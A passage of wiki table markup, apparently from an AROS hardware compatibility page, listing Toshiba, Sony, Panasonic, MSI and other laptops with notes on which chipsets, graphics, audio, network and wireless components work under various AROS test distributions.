| &lt;!--Name--&gt;Satellite A200 PSAE1E (Inventec MW10M) || &lt;!--Chipset--&gt;Pentium M with 945GM Express Celeron M 520 1.6Ghz or Pentium® Core Duo T2130 1.86 GHz || &lt;!--IDE--&gt; {{N/A}}|| &lt;!--SATA--&gt; {{Maybe|SATA}}|| &lt;!--Gfx--&gt; {{Yes|Intel GMA 950 (2D and 3D)}}|| &lt;!--Audio--&gt; {{Yes|HD Audio ALC862}}|| &lt;!--USB--&gt; {{Yes| }}|| &lt;!--Ethernet--&gt; {{yes|RTL8101E rtl8139}}|| &lt;!--Wireless--&gt; {{yes|Atheros 5000 - FN,F5 or FN,F8 or switch}} || &lt;!--Test Distro--&gt;2016 AspireOS 1.8 || &lt;!--Comments--&gt;2006 Excellent 32 bit support! - make sure that your WLAN card is enabled, do this using the hardware switch and FN+F8 key combination 
|-
| &lt;!--Name--&gt; A210, Satellite A215 AMD (Inventec 10A) S5808 || &lt;!--Chipset--&gt; Ati with SB690 || &lt;!--IDE--&gt; {{N/A}}|| &lt;!--SATA--&gt;{{Maybe|SATA}}|| &lt;!--Gfx--&gt;{{Maybe|use VESA HD2600 Mobility M76}} || &lt;!--Audio--&gt;HD Audio ALC268 || &lt;!--USB--&gt; {{Yes| }}|| &lt;!--Ethernet--&gt;{{yes|RTL8101E}}|| &lt;!--Wireless--&gt; {{yes|Atheros 5000}}|| &lt;!--Test Distro--&gt;2018 AspireOS 1.8 || &lt;!--Comments--&gt;A215-S7422 A215-S7472 A215-S4697 (USA) - 
|-
| &lt;!--Name--&gt; [http://www.amiga.org/forums/showthread.php?t=62036 A215 S4757] || &lt;!--Chipset--&gt; Ati X1200 with SB600 || &lt;!--IDE--&gt; {{N/A}}|| &lt;!--SATA--&gt;{{Maybe|SATA}}|| &lt;!--Gfx--&gt;{{Maybe}} || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; {{Yes| }}|| &lt;!--Ethernet--&gt;{{yes|RTL8101E}}|| &lt;!--Wireless--&gt; {{yes|Atheros 5000}}|| &lt;!--Test Distro--&gt;2017 AspireOS 1.8 || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Qosmio G30 (PQG31C-HD202E) || &lt;!--Chipset--&gt;945 with Duo T2500 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{yes|Nouveau Nvidia Go 7600 2d and 3d}} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit - 17&quot; UXGA 1920x1200, 
|-
| &lt;!--Name--&gt;Tecra A10 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{Maybe|IDE mode}} || &lt;!--Gfx--&gt; {{Maybe|Intel GMA 4500M (2D)}} || &lt;!--Audio--&gt; {{Yes|HD Audio}} || &lt;!--USB--&gt; {{Yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{No|Intel PRO 1000}} || &lt;!--Wireless--&gt;{{No|Intel WiFi Link 5100}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;64 bit possible 
|-
| &lt;!--Name--&gt;L35 - L40 PSL48E - L45 S7423 || &lt;!--Chipset--&gt;GL960 with Intel Celeron || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|X3100 some 2D but software 3d tunnel 9 gearbox 4}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ALC660 codec playback}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|REALTEK 8139}} || &lt;!--Wireless--&gt;{{No|Realtek 8187b replace with Atheros 5k}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;1,73Ghz  M 520 or M 540 or Dual T2310 (1.46 GHz)  T2330 (1.6 GHz) - 14H 14N 15B 17H 17K 17R 17S 18Z - 
|-
| &lt;!--Name--&gt;Satellite a300 - inventec potomac 10s pt10s A300D 21H || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ATI Mobility Radeon HD 3650 || &lt;!--Audio--&gt;HD Audio - Realtek || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8102E || &lt;!--Wireless--&gt;Atheros 5005 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;satellite L300D-224 PSLC8E PSLC9E, l305 (inventec ps10s) || &lt;!--Chipset--&gt;AMD M780 with Turion RM70 or QL-64 || &lt;!--IDE--&gt; {{yes|IDE}} || &lt;!--SATA--&gt; {{yes|SATA}} || &lt;!--Gfx--&gt; {{Maybe|use VESA for Radeon 3100}} || &lt;!--Audio--&gt;{{maybe|HD Audio with Realtek ALC268}} || &lt;!--USB--&gt; {{yes|USB 2.0}} || &lt;!--Ethernet--&gt; {{no|rtl8169 Realtek RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{no|Atheros G XB63L or Intel or Realtek}} || &lt;!--Test Distro--&gt; Icaros Desktop Live 2.3 AROS One 2.3 || &lt;!--Comments--&gt; Wireless-handler crashing when using Atheros-Wireless-Card
|-
| &lt;!--Name--&gt;Satellite P300 (PSPC0C-01D01C) || &lt;!--Chipset--&gt;945GM with Intel Core 2 Duo T5750 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{maybe| }} || &lt;!--Audio--&gt;{{No|  codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| swap with Atheros 5k }} || &lt;!--Test Distro--&gt;AROS One 64bit || &lt;!--Comments--&gt;2007 
|-
| &lt;!--Name--&gt;satellite l300-1bw PSLBDE-005005AR, L300-148 PSLB0E, l300-20D PSLB8E-06Q007EN, l300-294 L300-23L PSLB9E || &lt;!--Chipset--&gt;Intel GM45 + PGA478 socket Celeron 900, Pentium T1600, T2390, T3400 (Socket P) to Core2 Duo T6400 T6670 || &lt;!--IDE--&gt; {{unk|IDE}} || &lt;!--SATA--&gt; {{unk|SATA}} || &lt;!--Gfx--&gt; {{Maybe|use VESA for Intel gma 4500M}} || &lt;!--Audio--&gt;{{maybe|HD Audio with Realtek ALC???}} || &lt;!--USB--&gt; {{unk|USB 2.0}} || &lt;!--Ethernet--&gt; {{unk|rtl8169 Realtek 810xE}} || &lt;!--Wireless--&gt;{{no|Intel or Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64-bit  - new unfamiliar Bios called insyde H20 - 
|-
| &lt;!--Name--&gt;satellite l350d || &lt;!--Chipset--&gt;AMD Athlon (tm) X2 QL-60 + RS780M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD 3100 || &lt;!--Audio--&gt;HD Audio with Realtek  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;Realtek 8187b || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit 
|-
| &lt;!--Name--&gt;Satellite L450 12 13 14 || &lt;!--Chipset--&gt;AMD Sempron, 2.1GHz with AMD RS780M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD 3200 (based on HD 2400) || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E RTL8102E || &lt;!--Wireless--&gt;Realtek 8172 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit - 12X 13P 13X 14V PSLY6E00C006EN 
|-
| &lt;!--Name--&gt;Satellite Pro L450 (Compal LA-5821P) 179 || &lt;!--Chipset--&gt;intel celeron 900 2.20 Ghz no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;intel 4500m || &lt;!--Audio--&gt;HD Audio with  codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL8101 /2 /6E PCI Express Gigabit || &lt;!--Wireless--&gt;RTL8191 SEvB || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit - 39.6cm (15.6”) Toshiba TruBrite® HD TFT 16:9 768p 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Toshiba Satellite P775, P775-S7320 and P775-10K || &lt;!--Chipset--&gt;Intel Core i5 (2nd Gen) 2430M i7-2630QM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2D for Intel}} || &lt;!--Audio--&gt;{{maybe| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 17.3&quot; - 1600 x 900 (HD+) - 2 DDR3 sodimm max 16Gb - 
|-
|&lt;!--Name--&gt;Toshiba Satellite C660D-19X || &lt;!--Chipset--&gt;AMD E-300 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Vesa 2D for ATi}} || &lt;!--Audio--&gt;{{no|HD Audio with Realtek codec}} || &lt;!--USB--&gt;{{no| }} || &lt;!--Ethernet--&gt;{{Maybe|r8169 rtl8101e}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8188 8192ce rtl8192ce}}  || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - 
|-
| &lt;!--Name--&gt;L755D (E-350) L750D (E-450) || &lt;!--Chipset--&gt;AMD E350 E450 no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD 6310 6320 || &lt;!--Audio--&gt;HDAudio conexant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Realtek || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;Satellite Pro SP C640 C660D-15X (PSC1YE) C670D- () || &lt;!--Chipset--&gt;AMD E350  no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;6310G || &lt;!--Audio--&gt;HD Realtek ALC259 || &lt;!--USB--&gt;USB2  || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;Broadcom || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;C70D-A C75D-A || &lt;!--Chipset--&gt;E1-1200 no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|AMD HD8330}} || &lt;!--Audio--&gt;{{no|HA Audio CX20751 11Z}} || &lt;!--USB--&gt;{{no| }} || &lt;!--Ethernet--&gt;{{no|Atheros AR8162 alx}} || &lt;!--Wireless--&gt;{{no|Realtek 8188e}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
|}

====Misc====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name 
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Time 500 Packard Bell EasyOne 1450 1550 || &lt;!--Chipset--&gt;K6-3 500Mhz + VIA MVP4 vt82c686a || &lt;!--IDE--&gt;{{N/A|Issues}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Use VESA || &lt;!--Audio--&gt;{{No|VIA AC97 3058 with wolfson  codec WM9703 WM9704 WM9707 WM9708 or WM9717}} || &lt;!--USB--&gt;via 3038 2 ports USB 1.1 untested || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt;NB May 2013 || &lt;!--Comments--&gt;2001 32bit grub runs but stalls around [PCI] Everything OK 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Sony Vaio PCG FX201/FX202 FX210/FX215 FX401/FX402 FX404/FX405 972M, FX501/FX502 FX504/FX505 || &lt;!--Chipset--&gt;VIA KT133A KM133 Duron 800Mhz Athlon 1.3Ghz || &lt;!--IDE--&gt;{{partial|boot issue with 2013 kernel VIA [rev 06]}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI Rage Mobility Pro (VESA only)}} || &lt;!--Audio--&gt;{{Yes|VIA AC97 686b [rev 50] AD1881A Ear phone and Mic}} || &lt;!--USB--&gt;{{Maybe|issues}} || &lt;!--Ethernet--&gt;{{Yes|RTL 8139}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Comments--&gt;Nightly 1st March 2013 || &lt;!--Comments--&gt;booting usb pendrive from Plop Boot Loader floppy (no bios USB boot). Can freeze coz hardware issue or a ram slot problem - no support for iLink firewire VT8363/8365 pci - vt82c686b 
|-
| &lt;!--Name--&gt;Sony Vaio PCG FX601/FX602, FX604/FX605 FXA53(US), FX701/FX702, FX704/FX705, FX801/FX802 FX804/FX805 || &lt;!--Chipset--&gt;VIA KT133A KM133 Duron 800Mhz Athlon 1.3Ghz || &lt;!--IDE--&gt;{{partial|boot issue with 2013 kernel VIA [rev 06]}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI Rage Mobility Pro (VESA only)}} || &lt;!--Audio--&gt;{{Yes|VIA AC97 686b [rev 50] AD1881A Ear phone and Mic}} || &lt;!--USB--&gt;{{Maybe|issues}} || &lt;!--Ethernet--&gt;{{Yes|RTL 8139}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Comments--&gt;Nightly 1st March 2013 || &lt;!--Comments--&gt;booting usb pendrive somes works
|-
| &lt;!--Name--&gt;Sony Vaio PCG FX100 R505LE || &lt;!--Chipset--&gt;Intel i815 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA Intel 82815 CGC || &lt;!--Audio--&gt;Intel ICH AC97 with ADI AD1881A codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel e100 || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;PCG-FX105 FX105K PCG-FX108 FX108K PCG-FX109 FX109K FX200 FX203/FX203K FX205 FX205K FX209 FX209K FX220 [http://juljas.net/linux/vaiofx240/ FX240] FX250 FX270 FX290 FX301 FX302 FX340 FX370 FX390 FX403 FX503 FX950
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| Sony VAIO VGN X505VP || Pentium M ULV and Intel 855GM || {{yes}} || {{N/A}} || {{maybe|Intel 855 (VESA only)}} || {{yes|AC97}} || {{yes|USB}} || {{yes|Intel PRO 100 VE}} || {{N/A}} || || 2004 32bit - 0.38 inches at its thinnest point - first laptop to feature a &quot;chiclet&quot; keyboard resemble Chiclets gum - 
|-
| &lt;!--Name--&gt;Sony Z505LE Z505JE || &lt;!--Chipset--&gt;P3 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;n/a || &lt;!--Gfx--&gt;Rage Mobility M1 AGP mach64 || &lt;!--Audio--&gt;no Yamaha DS-XG PCI YMF744 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 8255x based PCI e100 || &lt;!--Wireless--&gt;n/a || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit - 
|-
| &lt;!--Name--&gt;Panasonic Toughbook CF-18 || &lt;!--Chipset--&gt;Core || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|gma for i915}} || &lt;!--Audio--&gt;{{yes|AC97 SigmaTel}} || &lt;!--USB--&gt;{{yes|usb2 }} || &lt;!--Ethernet--&gt;{{yes|RTL 8139C}} || &lt;!--Wireless--&gt;{{no|Intel swap for atheros 5k}} || &lt;!--Test Distro--&gt;Deadwoods' D02 test || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;Panasonic Toughbook CF-29 CF-30 || &lt;!--Chipset--&gt;Core || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA || &lt;!--Audio--&gt;AC97 SigmaTel || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL 8139C || &lt;!--Wireless--&gt;Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;MSI Microstar PR210 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA ATi RS690M}} || &lt;!--Audio--&gt;{{Yes|HD Audio through speaker / head phones but not hdmi}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|Realtek 8111 8169}} || &lt;!--Wireless--&gt;Atheros AR242x AR542x aw-ge780 mini pci-e || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;2004 32bit - ENE PCI based SD card with no bios boot option 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Advent 7106 EAA-88 || &lt;!--Chipset--&gt;Pentium M 1.7GHz with 915GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|2D and 3D tunnel 187 gearbox 67}} || &lt;!--Audio--&gt;{{Yes|AC97 Intel ICH6 with Conexant Cx20468 31 codec playback head phones only}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|Realtek 8169}} || &lt;!--Wireless--&gt;{{No|Intel 2200BG Fn/F2 replaced with atheros mini pci in small base panel - startup errors in wireless manager}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit 14&quot; cheap rubbish sadly - fan noise through audio channel - 
|-
| &lt;!--Name--&gt;Motion Computing LE1600 PC Slate || &lt;!--Chipset--&gt;915 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;915 || &lt;!--Audio--&gt;Intel AC97 SigmaTel STAC9758 9759  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8169 || &lt;!--Wireless--&gt;Intel PRO Wireless 2200BG || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 serial Wacom digitiser not usb
|-
| &lt;!--Name--&gt;Panasonic Toughbook CF-51 CF-P1 CF-T5 CF-Y2 || &lt;!--Chipset--&gt;945GMS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom || &lt;!--Wireless--&gt;Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit 
|-
| &lt;!--Name--&gt;Sony Vaio VGN-AR11S || &lt;!--Chipset--&gt;ntel Core Duo T2500 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes| Nvidia Go 7600}} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt;Aros One 32bit || &lt;!--Comments--&gt;2006 32bit - 17&quot; 1920x1200 - blu-ray - 
|-
| Sony Vaio VGN SR29VN || Intel ICH9 || {{N/A}} || {{maybe|IDE legacy}} || {{partial|ATI HD 3400 (VESA only)}} || {{partial|HD Audio (too quiet)}} || {{yes|USB1.1 and USB2.0}} || {{no|Marvell 8040}} || {{no|Intel 5100}} || Icaros 1.5 || 2007 32bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Wyse XM Class DELL WYSE Xn0m LAPTOP || &lt;!--Chipset--&gt;AMD T-G56N 1.6 1.65Ghz || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt;decased 2.5in ssd || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d only AMD 6320}} || &lt;!--Audio--&gt;{{Maybe| }} || &lt;!--USB--&gt;{{Maybe|EHCI 2.0 with NEC uPD720200 USB 3.0}} || &lt;!--Ethernet--&gt;{{Yes|Realtek rtl8169 8111E}} || &lt;!--Wireless--&gt;{{No|Atheros 93xx}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 1366 x 768 14&quot; - 2 ddr3l slots max 16gb - 19v coax barrel plug psu - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;MSI Ge40 Ge60 || &lt;!--Chipset--&gt;Intel 4 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 860M || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Killer}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;MSI GE62 2QF Apache Pro || &lt;!--Chipset--&gt;Intel 5  || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 970M || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Killer }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;MSI GS65 Stealth || &lt;!--Chipset--&gt;i7-8750H and later i7-9750H || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;GeForce GTX 1060 or 1070 Max Q, GTX 1660 Ti, RTX 2080 Max-Q || &lt;!--Audio--&gt;{{unk|HDAudio }} || &lt;!--USB--&gt;{{unk|US3}} || &lt;!--Ethernet--&gt;{{No| }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Gigabyte P35X || &lt;!--Chipset--&gt;Intel || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 980M || &lt;!--Audio--&gt;HDaudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;Panasonic Toughpad FZ-G1 MK2 || &lt;!--Chipset--&gt;Core i5-3437U, 1.9GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;ToughPad FZ-G1 Mk3 || &lt;!--Chipset--&gt;Intel Core i5-4310U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel HD 4400 || &lt;!--Audio--&gt;HDaudio Codec ALC255 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;[https://wiki.recessim.com/view/Panasonic_Toughpad_FZ-G1_MK4 Panasonic Toughpad FZ-G1 MK4] || &lt;!--Chipset--&gt;intel 6300U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel 520 || &lt;!--Audio--&gt;HDaudio with ALC256 codec - o/c or s/c fails early || &lt;!--USB--&gt;{{maybe|USB3 but options on the right hand side of screen case}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|intel ac 8260}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 10.1in 1600x1200 - 4gb ddr3l soldered - waterproof pen left hand side base - optional slot-in 4g lte and sdhc - 16v 4.06A 64.96W panasonic barrel - 
|-
| &lt;!--Name--&gt;Panasonic Toughpad FZ-G1 MK5 || &lt;!--Chipset--&gt;intel i5-7300U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel 620 || &lt;!--Audio--&gt;HDaudio ALC295 codec - o/c or s/c fails early || &lt;!--USB--&gt;{{maybe|USB3 but optional usb2 plugin r.h.s. of screen casing}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Intel}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 8gb ddr3l soldered - 10.1&quot; WUXGA 1920 x 1200 with LED backlighting  screen 2-800 nit - 10-point capacitive multi touch + Waterproof Digitizer pen l.h.s - 
|-
| &lt;!--Name--&gt;ToughPad FZ-M1 || &lt;!--Chipset--&gt;Intel® Core TM m5-6Y57 vPro TM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel HD 4200 || &lt;!--Audio--&gt;HDaudio with ALC codec || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 7in 800p - 8gb ddr3l soldered - 
|-
